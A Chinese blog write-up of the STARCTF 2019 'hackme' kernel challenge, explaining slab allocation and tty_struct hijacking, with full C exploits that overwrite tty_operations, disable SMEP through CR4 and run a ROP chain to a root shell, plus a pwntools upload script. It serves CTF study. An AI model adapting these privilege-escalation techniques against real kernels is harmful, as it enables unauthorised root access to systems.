linux kernal pwn STARCTF 2019 hackme(二)劫持tty_struct ioctl && 劫持tty_struct write

承接上文

参考的还是bsauce大佬的文章
bsauce

稍微回顾一下

漏洞有两个
首先我们显而易见的在读写object的时候对offset没有检查
如果我们的offset是负数
就可以任意地址读写。

第二个是条件竞争
是双核的,对pool的时候缺少锁。
如果我们在一个线程释放obiect的时候另一个线程去对他进行读写,就可以触发uaf。

首先我们要充分熟悉一下slab机制

在Linux中,伙伴系统(buddy system)是以页为单位管理和分配内存。但是现实的需求却以字节为单位,假如我们需要申请20Bytes,总不能分配一页吧!那岂不是严重浪费内存。那么该如何分配呢?slab分配器就应运而生了,专为小内存分配而生。slab分配器分配内存以Byte为单位。但是slab分配器并没有脱离伙伴系统,而是基于伙伴系统分配的大内存进一步细分成小内存分配。

https://blog.csdn.net/xiaoqiaoq0/article/details/122051942

再熟悉一下userfaultfd机制

内存页的分配是创建时先分配页表但并不会实际分配物理页面。在读写发生时,由于物理页面不存在,触发缺页异常进入内核处理该缺页中断,再实际分配物理页面进行相应的读写。这种延迟分配的机制使得系统性能在一定程序上得到了提升。
userfaultfd机制允许在用户态处理缺页异常,这个特性使得它在内核漏洞利用中可以发挥较大的作用。一个典型的场景时mmap出来一块内存,使用userfaultfd监视该地址,如果发生缺页异常先进入内核,再从内核到用户态定义的缺页处理程序,此时可以在用户态暂停从而间接的实现暂停内核态代码的运行。这种特性使得该机制在竞争以及double fetch类的漏洞利用中能够发挥较大作用。

上次说了通过任意地址读写劫持modprobe_path的思路
bsauce大佬还提出几种思路
我们也来复现一下。

这个是劫持tty_struct 的ioctl函数

	save_status();
	int fd = open("/dev/hackme", 0);
	char *mem = malloc(0x2000);
	memset(mem,'A',0x2000);
	size_t heap_addr , kernel_addr,mod_addr;
	if (fd < 0){
		printf("[-] bad open /dev/hackme\n");
		exit(-1);
	}
	alloc(fd,0,mem,0x400);
	alloc(fd,1,mem,0x400);
	alloc(fd,2,mem,0x400);
	alloc(fd,3,mem,0x400);
	alloc(fd,4,mem,0x400);	
	alloc(fd,5,mem,0x400);	
	delete(fd,2);
	delete(fd,4);

	read_from_kernel(fd,5,mem,0x400,-0x400);
	heap_addr = *((size_t *)mem);
	printf("[+] heap addr : %16llx\n",heap_addr );

save_status函数保存了当前状态
然后就是正常的跟之前一样的泄露heap基地址

	int ptmx_fd = open("/dev/ptmx",0);
	if (ptmx_fd < 0){
		printf("[-] bad open /dev/ptmx\n");
		exit(-1);
	}
	printf("[+] ptmx fd : %d\n",ptmx_fd);

	read_from_kernel(fd,5,mem,0x400,-0x400);

	kernel_addr = *((size_t  *)(mem+0x18)) ;
	kernel_addr -= 0x625d80;	                            
	printf("[+] kernel addr : %16llx\n",kernel_addr );

	prepare_kernel_cred = 0x4d3d0 + kernel_addr;           
  commit_creds = 0xbcfb0+kernel_addr;	

然后打开了/dev/ptmx设备
这个设备是干嘛的?
我们得首先了解一下linux 伪终端

linux伪终端

具体到/dev/ptmx用处:

我们打开的终端桌面程序,比如 GNOME Terminal,其实是一种终端模拟软件。当终端模拟软件运行时,它通过打开 /dev/ptmx 文件创建了一个伪终端的 master 和 slave 对,并让 shell 运行在 slave 端。当用户在终端模拟软件中按下键盘按键时,它产生字节流并写入 master 中,shell 进程便可从 slave 中读取输入;shell 和它的子程序,将输出内容写入 slave 中,由终端模拟软件负责将字符打印到窗口中。

打开/dev/ptmx设备之后会创建一个tty结构体

struct tty_struct {
    int    magic;
    struct kref kref;
    struct device *dev;
    struct tty_driver *driver;
    const struct tty_operations *ops;
    int index;

    /* Protects ldisc changes: Lock tty not pty */
    struct ld_semaphore ldisc_sem;
    struct tty_ldisc *ldisc;

    struct mutex atomic_write_lock;
    struct mutex legacy_mutex;
    struct mutex throttle_mutex;
    struct rw_semaphore termios_rwsem;
    struct mutex winsize_mutex;
    spinlock_t ctrl_lock;
    spinlock_t flow_lock;
    /* Termios values are protected by the termios rwsem */
    struct ktermios termios, termios_locked;
    struct termiox *termiox;    /* May be NULL for unsupported */
    char name[64];
    struct pid *pgrp;        /* Protected by ctrl lock */
    struct pid *session;
    unsigned long flags;
    int count;
    struct winsize winsize;        /* winsize_mutex */
    unsigned long stopped:1,    /* flow_lock */
              flow_stopped:1,
              unused:BITS_PER_LONG - 2;
    int hw_stopped;
    unsigned long ctrl_status:8,    /* ctrl_lock */
              packet:1,
              unused_ctrl:BITS_PER_LONG - 9;
    unsigned int receive_room;    /* Bytes free for queue */
    int flow_change;

    struct tty_struct *link;
    struct fasync_struct *fasync;
    int alt_speed;        /* For magic substitution of 38400 bps */
    wait_queue_head_t write_wait;
    wait_queue_head_t read_wait;
    struct work_struct hangup_work;
    void *disc_data;
    void *driver_data;
    spinlock_t files_lock;        /* protects tty_files list */
    struct list_head tty_files;

#define N_TTY_BUF_SIZE 4096

    int closing;
    unsigned char *write_buf;
    int write_cnt;
    /* If the tty has a pending do_SAK, queue it here - akpm */
    struct work_struct SAK_work;
    struct tty_port *port;
};

里面的重点是一个tty_operations指针
它指向一个结构体
这个就构体里面充斥着大量的指针
那么我们的机会就来了。

struct tty_operations {
    struct tty_struct * (*lookup)(struct tty_driver *driver, struct inode *inode, int idx);
    int  (*install)(struct tty_driver *driver, struct tty_struct *tty);
    void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
    int  (*open)(struct tty_struct * tty, struct file * filp);
    void (*close)(struct tty_struct * tty, struct file * filp);
    void (*shutdown)(struct tty_struct *tty);
    void (*cleanup)(struct tty_struct *tty);
    int  (*write)(struct tty_struct * tty, const unsigned char *buf, int count);
    int  (*put_char)(struct tty_struct *tty, unsigned char ch);
    void (*flush_chars)(struct tty_struct *tty);
    int  (*write_room)(struct tty_struct *tty);
    int  (*chars_in_buffer)(struct tty_struct *tty);
    int  (*ioctl)(struct tty_struct *tty, unsigned int cmd, unsigned long arg);
    long (*compat_ioctl)(struct tty_struct *tty, unsigned int cmd, unsigned long arg);
    void (*set_termios)(struct tty_struct *tty, struct ktermios * old);
    void (*throttle)(struct tty_struct * tty);
    void (*unthrottle)(struct tty_struct * tty);
    void (*stop)(struct tty_struct *tty);
    void (*start)(struct tty_struct *tty);
    void (*hangup)(struct tty_struct *tty);
    int (*break_ctl)(struct tty_struct *tty, int state);
    void (*flush_buffer)(struct tty_struct *tty);
    void (*set_ldisc)(struct tty_struct *tty);
    void (*wait_until_sent)(struct tty_struct *tty, int timeout);
    void (*send_xchar)(struct tty_struct *tty, char ch);
    int (*tiocmget)(struct tty_struct *tty);
    int (*tiocmset)(struct tty_struct *tty, unsigned int set, unsigned int clear);
    int (*resize)(struct tty_struct *tty, struct winsize *ws);
    int (*set_termiox)(struct tty_struct *tty, struct termiox *tnew);
    int (*get_icount)(struct tty_struct *tty, struct serial_icounter_struct *icount);
#ifdef CONFIG_CONSOLE_POLL
    int (*poll_init)(struct tty_driver *driver, int line, char *options);
    int (*poll_get_char)(struct tty_driver *driver, int line);
    void (*poll_put_char)(struct tty_driver *driver, int line, char ch);
#endif
    const struct file_operations *proc_fops;
};

首先我们让chunk4地址上分到tty结构体
我们可以看到之前申请的slab都是0x400
tty结构体大小一般是0x200多,不同版本内核会不大一样
但是tty结构体是0x200多为什么可以申请到slab4的地方?

这个是object大小的规则

const struct kmalloc_info_struct kmalloc_info[] __initconst = {
    {NULL,                        0},
    {"kmalloc-96",             96},
    {"kmalloc-192",           192},
    {"kmalloc-8",               8},
    {"kmalloc-16",             16},
    {"kmalloc-32",             32},
    {"kmalloc-64",             64},
    {"kmalloc-128",           128},
    {"kmalloc-256",           256},
    {"kmalloc-512",           512},
    {"kmalloc-1024",         1024},
    {"kmalloc-2048",         2048},
    {"kmalloc-4096",         4096},
    {"kmalloc-8192",         8192},
    {"kmalloc-16384",       16384},
    {"kmalloc-32768",       32768},
    {"kmalloc-65536",       65536},
    {"kmalloc-131072",     131072},
    {"kmalloc-262144",     262144},
    {"kmalloc-524288",     524288},
    {"kmalloc-1048576",   1048576},
    {"kmalloc-2097152",   2097152},
    {"kmalloc-4194304",   4194304},
    {"kmalloc-8388608",   8388608},
    {"kmalloc-16777216", 16777216},
    {"kmalloc-33554432", 33554432},
    {"kmalloc-67108864", 67108864}
};

0x2e0跟0x400一个档次。
然后顺路泄露kernal_base地址。
得到prepare_kernal_cred、commit_creds函数地址。

具体偏移怎么得到可以在下图以及下下图。
在这里插入图片描述
在这里插入图片描述

我们可以看到
在这里插入图片描述
申请6个0x400slab之后
再释放其中一个,他是没有指针的。
我们一般常说slab机制,分配的也是slab
但这其实不是很准确
一般分配的应该是object
很多object会组成一个slab

在这里插入图片描述图来自And乔

因为分配完了所以没指针。

再次释放完object4之后
在这里插入图片描述
里面会有object2的地址。

在这里插入图片描述
在这里插入图片描述
但是实际脚本跑起来以后发现这文件打不开
然后费了老大劲来研究这个问题

泄露地址用的是object2
tty用的object3
所以你看到800这个地方有很多地址
+0x18 的地方可以泄露kernal_base
在这里插入图片描述

在这里插入图片描述泄露出来的地址也可以看到都一样。

在这里插入图片描述tty->operations已经被改成了slab地址 被劫持掉了。

在这里插入图片描述operation中的前面一些函数全被劫持成了一个gadget。

为啥嘞?
因为我们在调试的时候,发现当执行ioctl函数的时候
在这里插入图片描述rbx是tty结构体。
咋看的,就直接下断下在劫持的函数那里就行。

然后因为rbx是tty结构体
找到了一段这样的gadget

mov rax, qword ptr [rbx + 0x38]; 
lea rdi, qword ptr [rbx + 0x20]; 
mov rdx, qword ptr [rax + 0xc8]; 
test rdx, rdx; 
je 0x25d805; 
call rdx; 

先说咋找的。
ropper搜这个

mov rax, qword ptr [rbx +

第一句首先利用rbx+0x38地方的值放进rax
这就是为什么我们劫持tty_operation的时候还顺路劫持了一下tty_struct+0x38
rdi那句不用管
然后把rax+0xc8地方的值放到rdx,然后call一下。
我们rax还是劫持在了object1 然后在其+0xc8的地方可以放下一个函数。

下一个函数放啥呢?
我们的最终目的是想栈迁移,移动rsp。
所以我们又找了gadget

mov     rsp, rax
jmp     loc_200EE7
pop     r12
mov     rdi, rsp
call    sub_16190
mov     rsp, rax
lea     rbp, [rsp+70h+var_6F]
push    r12
retn

rax的值是object里的一个地址。我们可控。
然后给了rsp。

rsp里直接放上rop
即可完成栈迁移。

栈迁移的话首先要关闭smep smap这样子
然后做一个ret2user

相关gadget就这样搜就可以
在这里插入图片描述
在这里插入图片描述

exp

#include <stdio.h>
#include <pthread.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>

#define ALLOC 0x30000
#define DEL 0x30001
#define READ 0x30003
#define WRITE 0x30002

struct arg
{
	size_t idx;
	void *addr;
	long long len;
	long long offset;
};

void alloc(int fd,int idx,char *user,long long len){
	struct arg cmd;
	cmd.idx = idx;
	cmd.len = len;
	cmd.addr = user;
	ioctl(fd,ALLOC,&cmd);
}

void delete(int fd,int idx){
	struct arg cmd;
	cmd.idx = idx;
	ioctl(fd,DEL,&cmd);
}

void read_from_kernel(int fd,int idx,char *user,long long len,long long offset){
	struct arg cmd;
	cmd.idx = idx;
	cmd.len = len;
	cmd.addr = user;
	cmd.offset = offset;
	ioctl(fd,READ,&cmd);	
}
void write_to_kernel(int fd,int idx,char *user,long long len,long long offset){
	struct arg cmd;
	cmd.idx = idx;
	cmd.len = len;
	cmd.addr = user;
	cmd.offset = offset;
	ioctl(fd,WRITE,&cmd);	
}

size_t user_cs, user_ss,user_rflags, user_sp ,user_gs,user_es,user_fs,user_ds;
void save_status(){
    __asm__("mov %%cs, %0\n"
            "mov %%ss,%1\n"
            "mov %%rsp,%2\n"
            "pushfq\n"
            "pop %3\n"
            "mov %%gs,%4\n"
            "mov %%es,%5\n"
            "mov %%fs,%6\n"
            "mov %%ds,%7\n"
            ::"m"(user_cs),"m"(user_ss),"m"(user_sp),"m"(user_rflags),
            "m"(user_gs),"m"(user_es),"m"(user_fs),"m"(user_ds)
            );
    puts("[*]status has been saved.");
}
void sh(){
    system("sh");
    exit(0);
}
int (*commit_creds)(unsigned long cred);
unsigned long (*prepare_kernel_cred)(unsigned long cred);

void sudo(){
    commit_creds(prepare_kernel_cred(0));
    asm(
    "push %0\n"
    "push %1\n"
    "push %2\n"
    "push %3\n"
    "push %4\n"
    "push $0\n"       //rbp
    "swapgs\n"
    "pop %%rbp\n"     //rbp
    "iretq\n"
    ::"m"(user_ss),"m"(user_sp),"m"(user_rflags),"m"(user_cs),"a"(&sh)
    );
}

int main(){
	save_status();
	int fd = open("/dev/hackme", O_RDWR);
	char *mem = malloc(0x2000);
	memset(mem,'A',0x2000);
	size_t heap_addr , kernel_addr,mod_addr;
	if (fd < 0){
		printf("[-] bad open /dev/hackme\n");
		exit(-1);
	}
	alloc(fd,0,mem,0x400);
	alloc(fd,1,mem,0x400);
	alloc(fd,2,mem,0x400);
	alloc(fd,3,mem,0x400);
	alloc(fd,4,mem,0x400);		
	delete(fd,2);
	delete(fd,3);

	read_from_kernel(fd,4,mem,0x400,-0x400);
	heap_addr = *((size_t *)mem);
	printf("[+] heap addr : 0x%16llx\n",heap_addr );

	int ptmx_fd = open("/dev/ptmx", O_RDWR | O_NOCTTY);
	if (ptmx_fd < 0){
		printf("[-] bad open /dev/ptmx\n");
		printf("[+] ptmx fd : %d\n",errno);
		exit(-1);
	}
	printf("[+] ptmx fd : %d\n",ptmx_fd);

	read_from_kernel(fd,4,mem,0x400,-0x400);

	kernel_addr = *((size_t  *)(mem+0x18)) ;
	kernel_addr -= 0x625d80;	                            
	printf("[+] kernel addr : 0x%16llx\n",kernel_addr );


    prepare_kernel_cred = 0x4d3d0 + kernel_addr;           
    commit_creds = 0x4d220 + kernel_addr;	
	printf("[+] prepare_kernel_cred : 0x%16llx\n",prepare_kernel_cred );
	printf("[+] commit_creds : 0x%16llx\n",commit_creds );

	*((size_t  *)(mem+0x18)) = heap_addr-0x400+0x20;         //tty_operations
	*((size_t  *)(mem+0x38)) = heap_addr-0x400+0x300;        //rop chain
	write_to_kernel(fd,4,mem,0x400,-0x400);
	printf("[+] finished overwrite fops\n");	
	for(int j;j<0x10;j++){                                   //这个地方必须写上16个指针。
		*((size_t  *)(mem+0x20+8*j)) = kernel_addr + 0x5dbef;    // gadget 1
	}
	*((size_t  *)(mem+0x300)) = kernel_addr + 0x01b5a1; //pop rax ; ret
	*((size_t  *)(mem+0x300+8)) = 0x6f0;
	*((size_t  *)(mem+0x300+16)) = kernel_addr + 0x0252b; //mov cr4, rax; push rcx; popfq; pop rbp; ret;
	*((size_t  *)(mem+0x300+24)) = 0xdeadbeef;
	*((size_t  *)(mem+0x300+32)) = &sudo;

	*((size_t  *)(mem+0x300+0xc8)) = kernel_addr +0x200f66;    // gadget  2
	write_to_kernel(fd,1,mem,0x400,0);
	getchar();
	ioctl(ptmx_fd,0xdeadbeef,0xdeadbabe);  
}

至于劫持tty_write
在这里插入图片描述因为rax直接已经是tty结构体了。
所以gadget直接省了。

要在额外插一句
在开启 KPTI 的情况下直接返回用户态会 segmentation fault,可以把原来的返回地址 getRootShell 函数设为 SIGSEGV 信号的处理函数,这样原先的 swapgs ; iretq 的方法就可以继续用了。

但是我们可以直接用swapgs_restore_regs_and_return_to_usermode

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <string.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/ioctl.h>
#include <pthread.h>

void get_shell(void){   
    puts("\033[32m\033[1m[+] Backing from the kernelspace.\033[0m");

    if(getuid())
    {
        puts("\033[31m\033[1m[x] Failed to get the root!\033[0m");
        exit(-1);
    }

    puts("\033[32m\033[1m[+] Successful to get the root. Execve root shell now...\033[0m");
    
    system("/bin/sh");
}

void add(int fd,int size)
{
    ioctl(fd,0x73311337,size);
}

void put(int fd)
{
    ioctl(fd,0xDEADBEEF);
}

unsigned long user_cs, user_ss, user_eflags,user_sp ;
void save_stats() {
    asm(
        "movq %%cs, %0\n"
        "movq %%ss, %1\n"
        "movq %%rsp, %3\n"
        "pushfq\n"
        "popq %2\n"
        :"=r"(user_cs), "=r"(user_ss), "=r"(user_eflags),"=r"(user_sp)
        :
        : "memory"
    );
    printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n");
}


int main()
{   
    setbuf(stdin, 0);
    setbuf(stdout, 0);
    setbuf(stderr, 0);
    int fd = open("/dev/homuratql666",O_RDWR);
    if (fd < 0) {
        printf("wrong with open /dev/homuratql666");
    }

    size_t kernal_base ; 
    size_t canary; 
    size_t rop[100];
    
    char format[0x100]="0x%llx    0x%llx    0x%llx    0x%llx    0x%llx    0x%llx    0x%llx    0x%llx    0x%llx\n\x00";
    add(fd, 0x400);
    write(fd, format, 50);
    put(fd);

    printf("input vmlinux addr\n");
    scanf("%llx",&kernal_base);
    printf("input canary\n");
    scanf("%llx",&canary);
    kernal_base = kernal_base - 0x1c827f;
    size_t prepare_kernel_cred = kernal_base + 0x81790;
    size_t commit_creds = kernal_base + 0x81410;
    size_t pop_rdi = kernal_base + 0x1388;//pop rdi; ret;
    size_t push_rax = kernal_base + 0x2599a8;//push rax; pop r12; pop r13; pop r14; pop r15; ret;
    size_t pop_rbx = kernal_base +0x926;//pop rbx; ret; 
    size_t call_rbx = kernal_base + 0xa001ea;//mov rdi, r12; call rbx; 
    size_t pop_rdx = kernal_base + 0x44f17;//pop rdx; ret;
    size_t swapgs_restore_regs_and_return_to_usermode = kernal_base + 0xa00985 ;
    printf("prepare_kernel_cred:0x%llx \n",prepare_kernel_cred);
    printf("commit_creds:0x%llx  \n",commit_creds);
    save_stats();

    int i = 0;
    for(i = 0; i <= 60; i ++) {
        rop[i] = "aaaaaaaa";
    }
    i = 32;
    rop[i++] = canary;                 // canary
    rop[i++] = canary;                 // rbp
    rop[i++] = pop_rdi;
    rop[i++] = 0;
    rop[i++] = prepare_kernel_cred;
    rop[i++] = push_rax;
    rop[i++] = 0;
    rop[i++] = 0;
    rop[i++] = 0;
    rop[i++] = pop_rbx;
    rop[i++] = pop_rdx;
    rop[i++] = call_rbx;
    rop[i++] = commit_creds;
    rop[i++] = swapgs_restore_regs_and_return_to_usermode;
    rop[i++] = 0;
    rop[i++] = 0;
    rop[i++] = (size_t) get_shell;
    rop[i++] = user_cs;
    rop[i++] = user_eflags;
    rop[i++] = user_sp;
    rop[i++] = user_ss;

    write(fd,rop,0x1b0);  //copy can't more than rop
}

传文件的脚本

from pwn import *
import base64
import os


#context.log_level = 'debug'
r = remote('node4.buuoj.cn', 28313)

def exec_cmd(str):
    r.sendlineafter("$ ", str)

def upload():
    p = log.progress("Upload")

    with open("./exp", "rb") as f:
        data = f.read()

    encoded = base64.b64encode(data)

    for i in range(0, len(encoded), 300):
        p.status("%d / %d" % (i, len(encoded)))
        exec_cmd("echo \"%s\" >> benc" % (encoded[i:i+300]))

    exec_cmd("cat benc | base64 -d > bout")
    exec_cmd("chmod +x bout")

    p.success()               

upload()
exec_cmd("./bout")
r.interactive()

远程时间太短了
exp传不上去 怪不得是0解 但是本地肯定打通了。
在这里插入图片描述
在这里插入图片描述

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值